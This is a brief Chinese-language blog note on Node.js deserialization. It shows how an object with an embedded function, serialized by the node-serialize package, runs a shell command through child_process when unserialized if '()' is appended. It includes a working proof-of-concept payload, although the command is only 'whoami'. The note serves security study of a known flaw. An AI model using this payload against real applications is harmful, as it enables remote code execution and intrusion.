Skip to content
blogs of mekrina
Go back

nodejs反序列化

Updated:
Edit page
const serialize = require("node-serialize");
let obj = {
  rce: function () {
    require("child_process").exec("whoami > res");
  },
};
let res = serialize.serialize(obj);
console.log(res);
{"rce":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"whoami > res\");}"}

在后面加上(), 反序列化就会立即执行

serialize.unserialize(
  '{"rce":"_$$ND_FUNC$$_function(){require(\\"child_process\\").exec(\\"whoami > res\\");}()"}'
);

Edit page